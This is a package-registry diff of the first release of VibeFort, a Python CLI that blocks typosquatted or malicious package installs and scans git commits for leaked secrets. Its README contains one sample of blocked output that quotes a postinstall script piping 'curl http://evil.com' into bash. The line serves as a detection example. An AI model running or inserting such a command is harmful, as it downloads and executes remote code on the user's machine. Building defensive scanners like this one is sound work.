vibefort 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. vibefort-0.1.0/.gitignore +18 -0
  2. vibefort-0.1.0/LICENSE +21 -0
  3. vibefort-0.1.0/PKG-INFO +142 -0
  4. vibefort-0.1.0/README.md +117 -0
  5. vibefort-0.1.0/SECURITY.md +67 -0
  6. vibefort-0.1.0/THIRD_PARTY_NOTICES +11 -0
  7. vibefort-0.1.0/docs/plans/2026-03-27-vibeguard-mvp.md +2844 -0
  8. vibefort-0.1.0/pyproject.toml +44 -0
  9. vibefort-0.1.0/src/vibefort/__init__.py +3 -0
  10. vibefort-0.1.0/src/vibefort/__main__.py +5 -0
  11. vibefort-0.1.0/src/vibefort/allowlist.py +92 -0
  12. vibefort-0.1.0/src/vibefort/assets/top_npm_packages.txt +10000 -0
  13. vibefort-0.1.0/src/vibefort/assets/top_pypi_packages.txt +10000 -0
  14. vibefort-0.1.0/src/vibefort/autofix.py +75 -0
  15. vibefort-0.1.0/src/vibefort/banner.py +154 -0
  16. vibefort-0.1.0/src/vibefort/cli.py +379 -0
  17. vibefort-0.1.0/src/vibefort/codescan.py +178 -0
  18. vibefort-0.1.0/src/vibefort/config.py +54 -0
  19. vibefort-0.1.0/src/vibefort/constants.py +62 -0
  20. vibefort-0.1.0/src/vibefort/db.py +53 -0
  21. vibefort-0.1.0/src/vibefort/depscan.py +250 -0
  22. vibefort-0.1.0/src/vibefort/display.py +173 -0
  23. vibefort-0.1.0/src/vibefort/installer.py +220 -0
  24. vibefort-0.1.0/src/vibefort/interceptor.py +357 -0
  25. vibefort-0.1.0/src/vibefort/scanner/__init__.py +14 -0
  26. vibefort-0.1.0/src/vibefort/scanner/cve.py +77 -0
  27. vibefort-0.1.0/src/vibefort/scanner/tier1.py +153 -0
  28. vibefort-0.1.0/src/vibefort/scanner/tier2.py +338 -0
  29. vibefort-0.1.0/src/vibefort/secrets.py +171 -0
  30. vibefort-0.1.0/src/vibefort/sysaudit.py +201 -0
  31. vibefort-0.1.0/tests/conftest.py +16 -0
  32. vibefort-0.1.0/tests/test_allowlist.py +40 -0
  33. vibefort-0.1.0/tests/test_autofix.py +51 -0
  34. vibefort-0.1.0/tests/test_cli.py +23 -0
  35. vibefort-0.1.0/tests/test_codescan.py +53 -0
  36. vibefort-0.1.0/tests/test_commands.py +50 -0
  37. vibefort-0.1.0/tests/test_config.py +26 -0
  38. vibefort-0.1.0/tests/test_cve.py +17 -0
  39. vibefort-0.1.0/tests/test_depscan.py +76 -0
  40. vibefort-0.1.0/tests/test_display.py +28 -0
  41. vibefort-0.1.0/tests/test_installer.py +116 -0
  42. vibefort-0.1.0/tests/test_interceptor.py +147 -0
  43. vibefort-0.1.0/tests/test_secrets.py +25 -0
  44. vibefort-0.1.0/tests/test_sysaudit.py +52 -0
  45. vibefort-0.1.0/tests/test_tier1.py +40 -0
  46. vibefort-0.1.0/tests/test_tier2.py +53 -0
@@ -0,0 +1,18 @@
1
+ __pycache__/
2
+ *.pyc
3
+ *.egg-info/
4
+ dist/
5
+ build/
6
+ .venv/
7
+ .pytest_cache/
8
+ *.db
9
+ .coverage
10
+ node_modules/
11
+
12
+ # Secrets and credentials
13
+ .env
14
+ .env.*
15
+ *.pem
16
+ *.key
17
+ *.p12
18
+ *.pfx
vibefort-0.1.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Berk
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,142 @@
1
+ Metadata-Version: 2.4
2
+ Name: vibefort
3
+ Version: 0.1.0
4
+ Summary: Security layer for AI-assisted development. One command, permanent protection.
5
+ Author: Berk
6
+ License-Expression: MIT
7
+ License-File: LICENSE
8
+ Keywords: cli,security,supply-chain,vibecoders
9
+ Classifier: Development Status :: 3 - Alpha
10
+ Classifier: Environment :: Console
11
+ Classifier: Intended Audience :: Developers
12
+ Classifier: License :: OSI Approved :: MIT License
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: Topic :: Security
15
+ Requires-Python: >=3.10
16
+ Requires-Dist: click>=8.0
17
+ Requires-Dist: httpx>=0.27
18
+ Requires-Dist: rich>=13.0
19
+ Requires-Dist: toml>=0.10
20
+ Provides-Extra: dev
21
+ Requires-Dist: pytest-cov; extra == 'dev'
22
+ Requires-Dist: pytest-httpx; extra == 'dev'
23
+ Requires-Dist: pytest>=8.0; extra == 'dev'
24
+ Description-Content-Type: text/markdown
25
+
26
+ # 🏰 VibeFort
27
+
28
+ **Security layer for AI-assisted development. One command, permanent protection.**
29
+
30
+ VibeFort protects vibecoders (Cursor, Bolt, Replit, Claude Code users) from supply chain attacks, leaked secrets, and insecure AI-generated code. Run `vibefort install` once — it silently protects every package install and git commit forever.
31
+
32
+ ## Quick Start
33
+
34
+ ```bash
35
+ pipx install vibefort
36
+ vibefort install
37
+ ```
38
+
39
+ That's it. You never type `vibefort` again.
40
+
41
+ > **Why pipx?** VibeFort is a system-wide CLI tool, not a project dependency. `pipx` installs it globally in an isolated environment — the standard way to install Python CLI tools. [Install pipx](https://pipx.pypa.io/stable/installation/) if you don't have it: `brew install pipx` (macOS) or `apt install pipx` (Ubuntu).
42
+
43
+ ## What Happens After Install
44
+
45
+ ```bash
46
+ # Normal pip usage — VibeFort intercepts silently
47
+ $ pip install flask
48
+ ✔ flask 3.1.0 — clean (0.2s)
49
+
50
+ $ pip install reqeusts
51
+ ✖ BLOCKED — Possible typosquat — similar to 'requests'
52
+ Did you mean: requests
53
+
54
+ $ npm install evil-pkg
55
+ ✖ BLOCKED — suspicious postinstall script: downloads external payload
56
+ package.json: postinstall runs curl http://evil.com | bash
57
+
58
+ # Normal git usage — VibeFort scans staged files
59
+ $ git commit -m "add config"
60
+ ✖ VibeFort blocked this commit — 1 secret(s) found
61
+ Secret found in src/config.py:14
62
+ AWS Access Key detected
63
+ ```
64
+
65
+ ## Supported Package Managers
66
+
67
+ VibeFort intercepts **10 package managers** across Python and Node.js:
68
+
69
+ ### Python
70
+
71
+ | Manager | Commands intercepted |
72
+ |---|---|
73
+ | `pip` / `pip3` | `pip install flask`, `pip install flask==3.1.0` |
74
+ | `uv` | `uv pip install flask`, `uv add flask` |
75
+ | `pipx` | `pipx install black` |
76
+
77
+ ### Node.js
78
+
79
+ | Manager | Commands intercepted |
80
+ |---|---|
81
+ | `npm` | `npm install`, `npm add`, `npm i` |
82
+ | `npx` | `npx create-react-app` (scans before execute) |
83
+ | `yarn` | `yarn add express` |
84
+ | `pnpm` | `pnpm add express` |
85
+ | `bun` | `bun add express` |
86
+ | `bunx` | `bunx cowsay` (scans before execute) |
87
+
88
+ > `npx` and `bunx` are especially dangerous — they download AND execute code in one step. VibeFort scans the package before allowing execution.
89
+
90
+ ## How It Works
91
+
92
+ ### Package Scanning (automatic)
93
+
94
+ Every package install goes through two tiers:
95
+
96
+ | Tier | What it checks | Speed | When |
97
+ |---|---|---|---|
98
+ | **Tier 1** | Known-safe cache (10k packages), typosquatting, registry existence, slopsquatting | < 500ms | Every install |
99
+ | **Tier 2** | Downloads to temp, inspects setup.py/package.json hooks, .pth files, obfuscated code | 3-5s | Unknown packages |
100
+
101
+ ### Secret Scanning (automatic)
102
+
103
+ Git pre-commit hook powered by [betterleaks](https://github.com/betterleaks/betterleaks) (234 detection rules):
104
+
105
+ - AWS, OpenAI, Anthropic, GitHub, Stripe, Google API keys
106
+ - SSH/PGP private keys, JWT tokens
107
+ - Database connection strings
108
+ - And 220+ more patterns
109
+
110
+ ### Coming Soon
111
+
112
+ - `vibefort scan .` — code vulnerability scanning (SQL injection, XSS, insecure deserialization)
113
+ - `vibefort infra .` — infrastructure auditing (Supabase, Firebase, open S3 buckets)
114
+ - `vibefort audit` — system compromise check
115
+ - AI-powered analysis with plain-English explanations
116
+
117
+ ## Commands
118
+
119
+ | Command | Description |
120
+ |---|---|
121
+ | `vibefort install` | One-time setup: hooks + secret scanner |
122
+ | `vibefort uninstall` | Clean removal of all hooks |
123
+ | `vibefort status` | Dashboard with scan stats |
124
+ | `vibefort --version` | Show version |
125
+
126
+ ## How Install Works
127
+
128
+ `vibefort install` does two things that persist forever:
129
+
130
+ 1. **Shell hook** — Adds function wrappers to `~/.zshrc` or `~/.bashrc` that intercept all 10 package managers. Loads every time a terminal opens.
131
+
132
+ 2. **Git hook** — Sets a global pre-commit hook via `git config --global core.hooksPath`. Applies to every repo.
133
+
134
+ A 🏰 castle icon appears in your terminal when VibeFort is active.
135
+
136
+ `vibefort uninstall` cleanly removes both.
137
+
138
+ ## License
139
+
140
+ MIT — see [LICENSE](LICENSE).
141
+
142
+ Secret scanning powered by [betterleaks](https://github.com/betterleaks/betterleaks) (MIT). See [THIRD_PARTY_NOTICES](THIRD_PARTY_NOTICES).
@@ -0,0 +1,117 @@
1
+ # 🏰 VibeFort
2
+
3
+ **Security layer for AI-assisted development. One command, permanent protection.**
4
+
5
+ VibeFort protects vibecoders (Cursor, Bolt, Replit, Claude Code users) from supply chain attacks, leaked secrets, and insecure AI-generated code. Run `vibefort install` once — it silently protects every package install and git commit forever.
6
+
7
+ ## Quick Start
8
+
9
+ ```bash
10
+ pipx install vibefort
11
+ vibefort install
12
+ ```
13
+
14
+ That's it. You never type `vibefort` again.
15
+
16
+ > **Why pipx?** VibeFort is a system-wide CLI tool, not a project dependency. `pipx` installs it globally in an isolated environment — the standard way to install Python CLI tools. [Install pipx](https://pipx.pypa.io/stable/installation/) if you don't have it: `brew install pipx` (macOS) or `apt install pipx` (Ubuntu).
17
+
18
+ ## What Happens After Install
19
+
20
+ ```bash
21
+ # Normal pip usage — VibeFort intercepts silently
22
+ $ pip install flask
23
+ ✔ flask 3.1.0 — clean (0.2s)
24
+
25
+ $ pip install reqeusts
26
+ ✖ BLOCKED — Possible typosquat — similar to 'requests'
27
+ Did you mean: requests
28
+
29
+ $ npm install evil-pkg
30
+ ✖ BLOCKED — suspicious postinstall script: downloads external payload
31
+ package.json: postinstall runs curl http://evil.com | bash
32
+
33
+ # Normal git usage — VibeFort scans staged files
34
+ $ git commit -m "add config"
35
+ ✖ VibeFort blocked this commit — 1 secret(s) found
36
+ Secret found in src/config.py:14
37
+ AWS Access Key detected
38
+ ```
39
+
40
+ ## Supported Package Managers
41
+
42
+ VibeFort intercepts **10 package managers** across Python and Node.js:
43
+
44
+ ### Python
45
+
46
+ | Manager | Commands intercepted |
47
+ |---|---|
48
+ | `pip` / `pip3` | `pip install flask`, `pip install flask==3.1.0` |
49
+ | `uv` | `uv pip install flask`, `uv add flask` |
50
+ | `pipx` | `pipx install black` |
51
+
52
+ ### Node.js
53
+
54
+ | Manager | Commands intercepted |
55
+ |---|---|
56
+ | `npm` | `npm install`, `npm add`, `npm i` |
57
+ | `npx` | `npx create-react-app` (scans before execute) |
58
+ | `yarn` | `yarn add express` |
59
+ | `pnpm` | `pnpm add express` |
60
+ | `bun` | `bun add express` |
61
+ | `bunx` | `bunx cowsay` (scans before execute) |
62
+
63
+ > `npx` and `bunx` are especially dangerous — they download AND execute code in one step. VibeFort scans the package before allowing execution.
64
+
65
+ ## How It Works
66
+
67
+ ### Package Scanning (automatic)
68
+
69
+ Every package install goes through two tiers:
70
+
71
+ | Tier | What it checks | Speed | When |
72
+ |---|---|---|---|
73
+ | **Tier 1** | Known-safe cache (10k packages), typosquatting, registry existence, slopsquatting | < 500ms | Every install |
74
+ | **Tier 2** | Downloads to temp, inspects setup.py/package.json hooks, .pth files, obfuscated code | 3-5s | Unknown packages |
75
+
76
+ ### Secret Scanning (automatic)
77
+
78
+ Git pre-commit hook powered by [betterleaks](https://github.com/betterleaks/betterleaks) (234 detection rules):
79
+
80
+ - AWS, OpenAI, Anthropic, GitHub, Stripe, Google API keys
81
+ - SSH/PGP private keys, JWT tokens
82
+ - Database connection strings
83
+ - And 220+ more patterns
84
+
85
+ ### Coming Soon
86
+
87
+ - `vibefort scan .` — code vulnerability scanning (SQL injection, XSS, insecure deserialization)
88
+ - `vibefort infra .` — infrastructure auditing (Supabase, Firebase, open S3 buckets)
89
+ - `vibefort audit` — system compromise check
90
+ - AI-powered analysis with plain-English explanations
91
+
92
+ ## Commands
93
+
94
+ | Command | Description |
95
+ |---|---|
96
+ | `vibefort install` | One-time setup: hooks + secret scanner |
97
+ | `vibefort uninstall` | Clean removal of all hooks |
98
+ | `vibefort status` | Dashboard with scan stats |
99
+ | `vibefort --version` | Show version |
100
+
101
+ ## How Install Works
102
+
103
+ `vibefort install` does two things that persist forever:
104
+
105
+ 1. **Shell hook** — Adds function wrappers to `~/.zshrc` or `~/.bashrc` that intercept all 10 package managers. Loads every time a terminal opens.
106
+
107
+ 2. **Git hook** — Sets a global pre-commit hook via `git config --global core.hooksPath`. Applies to every repo.
108
+
109
+ A 🏰 castle icon appears in your terminal when VibeFort is active.
110
+
111
+ `vibefort uninstall` cleanly removes both.
112
+
113
+ ## License
114
+
115
+ MIT — see [LICENSE](LICENSE).
116
+
117
+ Secret scanning powered by [betterleaks](https://github.com/betterleaks/betterleaks) (MIT). See [THIRD_PARTY_NOTICES](THIRD_PARTY_NOTICES).
@@ -0,0 +1,67 @@
1
+ # Security Policy
2
+
3
+ ## Reporting a Vulnerability
4
+
5
+ If you discover a security vulnerability in VibeFort, please report it responsibly.
6
+
7
+ **Do NOT open a public GitHub issue for security vulnerabilities.**
8
+
9
+ Instead, email: **security@vibefort.dev**
10
+
11
+ Include:
12
+ - Description of the vulnerability
13
+ - Steps to reproduce
14
+ - Impact assessment
15
+ - Suggested fix (if you have one)
16
+
17
+ We will acknowledge your report within 48 hours and aim to release a fix within 7 days for critical issues.
18
+
19
+ ## Scope
20
+
21
+ VibeFort is a security tool that:
22
+ - Modifies shell configuration files (`~/.zshrc`, `~/.bashrc`)
23
+ - Sets global git hooks (`core.hooksPath`)
24
+ - Downloads and executes a third-party binary (betterleaks)
25
+ - Intercepts package manager commands (pip, npm, yarn, etc.)
26
+ - Scans downloaded package contents in temporary directories
27
+
28
+ All of these are high-trust operations. We take security seriously.
29
+
30
+ ## What We Consider Vulnerabilities
31
+
32
+ - Shell injection via package names or manager arguments
33
+ - Path traversal in archive extraction
34
+ - Execution of malicious code during package scanning
35
+ - Secret values (API keys, tokens) being logged or stored
36
+ - Symlink attacks on `~/.vibefort/`
37
+ - Bypass of scanning that allows malicious packages through
38
+ - Tampering with the betterleaks binary after download
39
+
40
+ ## What We Don't Consider Vulnerabilities
41
+
42
+ - `git commit --no-verify` bypassing the pre-commit hook (this is a git feature, not a bug)
43
+ - Users with root/sudo access modifying VibeFort's files (if they have root, they don't need VibeFort to do damage)
44
+ - Packages that are malicious but not detectable by static analysis (we can't catch everything)
45
+ - False positives in typosquatting detection
46
+
47
+ ## Security Design Decisions
48
+
49
+ - All subprocess calls use list form (no `shell=True`)
50
+ - Manager arguments are validated against a whitelist before execution
51
+ - Downloaded binaries are verified with SHA256 checksums (fail-closed)
52
+ - `~/.vibefort/` is set to `0700`, config to `0600`
53
+ - Secret values from betterleaks are never stored or logged
54
+ - File scanning has a 10MB size limit and skips symlinks
55
+ - Rich markup in user-controlled strings is escaped
56
+ - `pip download` prefers wheels to avoid setup.py execution
57
+ - `npm pack` uses `--ignore-scripts` to prevent script execution during scan
58
+
59
+ ## Supported Versions
60
+
61
+ | Version | Supported |
62
+ |---|---|
63
+ | 0.1.x | Yes |
64
+
65
+ ## Acknowledgments
66
+
67
+ We appreciate responsible disclosure. Security researchers who report valid vulnerabilities will be credited here (with permission).
@@ -0,0 +1,11 @@
1
+ This project bundles the following third-party software:
2
+
3
+ ## betterleaks
4
+
5
+ - License: MIT
6
+ - Repository: https://github.com/betterleaks/betterleaks
7
+ - Copyright: Copyright (c) 2026 Zachary Rice
8
+
9
+ betterleaks is used for secret detection in git commits.
10
+ The full MIT license text is available at:
11
+ https://github.com/betterleaks/betterleaks/blob/main/LICENSE